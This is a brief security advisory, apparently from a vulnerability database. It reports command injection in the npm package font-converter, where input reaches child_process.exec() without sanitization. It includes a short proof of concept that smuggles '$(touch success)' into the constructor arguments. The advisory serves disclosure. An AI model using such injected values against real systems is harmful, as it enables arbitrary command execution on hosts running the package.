Summary
Font-Converter Vulnerable to Arbitrary Command Injection
Details

Overview

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}
